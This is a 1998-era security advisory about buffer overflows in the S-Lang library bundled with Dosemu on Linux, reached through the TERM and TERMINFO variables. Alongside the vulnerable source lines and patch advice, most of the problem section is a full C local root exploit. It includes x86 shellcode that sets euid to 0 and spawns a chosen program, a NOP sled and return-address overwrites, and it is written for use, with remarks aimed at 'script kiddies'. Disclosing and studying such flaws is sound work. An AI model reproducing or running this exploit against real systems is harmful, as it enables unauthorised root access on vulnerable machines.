COMMAND

    Dosemu's S-Lang

SYSTEMS AFFECTED

    Linux (others?)

PROBLEM

    DiGiT and  crazy-b found  following.   It was  found that  there's
    vulnerability in the S-Lang library.  S-Lang is is an  interpreted
    language  see  http://space.mit.edu/%7Edavis/slang.html  for  more
    info about  it.   Because of  the rumors  they suspected  it could
    already be known,  so we started  investigating this.   They found
    that redhat  had already  posted a  patch for  this overflow,  and
    another similar  bug, in  June '98.  And here  comes the  big BUT!
    DiGiT had already successfully exploited the dosemu on a  standard
    redhat 5.2 installation which came out in November!!  Dosemu comes
    with its own slang  lib, and this had  not been patched!   Kind of
    sloppy,  since  the  5.2  distrib  was  released  months after the
    discovery of this bug.   There are the two overflow  conditions in
    S-Lang; The first one we  found could be exploited by  setting the
    TERM variable to write past the end of err_buf:

        sldisply.c line 1616:

                SLtt_get_terminfo (void)
        -- cut
                char err_buf[512];
                sprintf (err_buf, "Unknown terminal: %s\n\...cut", term);

    Very simple that!  And  the second overflow is equally  obvious...
    We cause this overflow by  setting TERMINFO to overwrite the  file
    var:  This last one depends  on what version of Dosemu, this  only
    appears to be overflowable in  some releases of dosemu which  have
    TERMCAP defined.

        SLtt_tigetent get's called in sldisply.c line 1647:

                #ifndef USE_TERMCAP
                   if (NULL == (Tbuf = tgetent (term)))

        sltermin.c line 229:
        char file[256];

                char *SLtt_tigetent (char *term)
        --cut
                tidir = Terminfo_Dirs[i];
                        if (tidir != NULL)
                         {
                           sprintf (file, "%s/%c/%s", tidir, *term, term);

    In both cases the exploitable condition will not exist if you have
    TERMCAP set. So  script kiddies, unset  TERMCAP before you  try to
    exploit this!  From testing redhat 4.2, and 5.X are vulnerable  to
    these exploits.  So is  suse 5.X.  It is  not unlikely  that other
    linux distribs  contain the  vulnerable dosemu.   S-Lang has  been
    ported to many OS', but no chance to see if any of them use it, or
    dosemu for that matter.

    Exploit follows (By default rh  5.2, does not allow reg  user's to
    run dosemu so this exploit will probably not work for you, BUT the
    overflow exists):

    /*
     *  dosemu/slang overflow exploit for linux/x86
     *
     *  by DiGiT and crazy-b!
     *
     *  !!! for usage information run the program with no arguments !!!
     *
     *  notez:
     *
     *  with some versions of dosemu, an I/O error will occur when exploiting.
     *  this means you can not communicate with the prog you run from your
     *  terminal. after executing you may also need to reset your terminal.
     *
     *  we suggest writing a shell script to secure your root privs, if you
     *  are not able to communicate with your shell. for this reason we have
     *  made it possible to specify what you want to execute. you may however
     *  not add any arguments to that command. this is because there simply
     *  weren't enought time for coding!
     *
     *  because dosemu change its euid to non-root, we have added a little bit
     *  of code to set this to 0 for you. it can be selected before compiling,
     *  and should be on by default.
     *
     * Greetz, #hax, ADM, special greetz to [IG-88]!!
     *
     * Note: if yah got probs, brute force.
     */

    #define PATH_DOSEMU "/usr/bin/dos"

    #define DEF_BUFSIZE_1 268
    #define DEF_OFFSET_1 911
    #define DEF_BUFSIZE_2 1007
    #define DEF_OFFSET_2 100

    #define UNSET_TERMCAP
    #define SET_EUID
    #define IQ_LOCKED


    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    char sc[] =
    #ifdef SET_EUID
            "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" /* set euid - craz */
    #endif
            "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
            "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff";

    long get_sp ()
    {
            __asm__("movl %esp,%eax");

    }

    void usage ()
    {
            printf("usage: ./sploit type proggie [offset [bufsize]]\n\n");
            printf("type must be one of:\t1 :TERMINFO\n\t\t\t2 :TERM\n\n");
            exit(0);
    }

    int main (int argc, char **argv)
    {
            int bufsize, offset, n, type;
            char *buf, *ptr;
            long addr;

            printf("\n      (= DiGiT and crazy-b presents: =)\n");
            printf("    (= linux/x86 dosemu/slang overflow =)\n\n");

            if (argc < 3 || argc > 5) usage();

            type = atoi(argv[1]);
            if (type < 1 || type > 2) usage();

            bufsize = argc > 4 ? atoi(argv[4]) :
                    (type == 1 ? DEF_BUFSIZE_1 : DEF_BUFSIZE_2);
            offset = argc > 3 ? atoi(argv[3]) :
                    (type == 1 ? DEF_OFFSET_1 : DEF_OFFSET_2);

            n = strlen(argv[2]);
    #ifdef SET_EUID
            sc[23] = sc[33] = n + 5; sc[15] = sc[30] = n + 1; sc[20] = n;
    #else
            sc[13] = sc[23] = n + 5; sc[5] = sc[20] = n + 1; sc[10] = n;
    #endif

            if ((buf = malloc(bufsize + 1)) == NULL) {
                    perror("malloc");
                    exit(-1);
            }

            addr = get_sp() - offset;

            memset(buf, 0x90, bufsize);
            ptr = (buf + bufsize) - (strlen(sc) + strlen(argv[2]) + 8);
            for (n = 0; n < strlen(sc); n++)
                    *(ptr++) = sc[n];
            for (n = 0; n < strlen(argv[2]); n++)
                    *(ptr++) = argv[2][n];
            *(long *)((buf + bufsize) - 4) = addr;
            *(long *)((buf + bufsize) - 8) = addr - 16;

            printf(";;; type: %s, launching: %s\n",
                    type == 1 ? "TERMINFO" : "TERM", argv[2]);
            printf(";;; bufsize: %i, offset: %i, address: 0x%lx\n\n",
                    bufsize, offset, addr);


    #ifdef UNSET_TERMCAP
            unsetenv("TERMCAP");
    #endif

    #ifndef IQ_LOCKED
            setenv(type == 1 ? "TERMINFO" : "TERM", buf, 1);
            execl(PATH_DOSEMU, "dos", 0);
    #endif

            exit(-1);
    }

    Note that any Dosemu version  running suid root with DPMI  enabled
    is inherently unsafe.   A DPMI program  in Dosemu is  able to  use
    Linux  system  calls,  including  system  calls  that require root
    privileges.   The Dosemu  Team is  not able  to fix  this security
    hole; system administrators who are serious about security, should
    not  install  Dosemu  suid-root.  Dosemu  can  run non-suid on the
    Slangterminal, under X, in the background and even on serial lines
    (bbs'es for example).

SOLUTION

    The Dosemu Team released Dosemu 0.99.6 which fixes the Slang hole.
    This is a development release,  but the changes will also  come in
    the  next  stable  release,  Dosemu  0.98.5.   Dosemu  0.99.6   is
    available at:

        ftp://ftp.dosemu.org:/dosemu/Development/dosemu-0.99.6.tgz

    People using the  0.98 stable release  should not run  Dosemu suid
    root.  Remove the  s-bit from the Dosemu  binary and wait for  the
    next stable 0.98.5 release.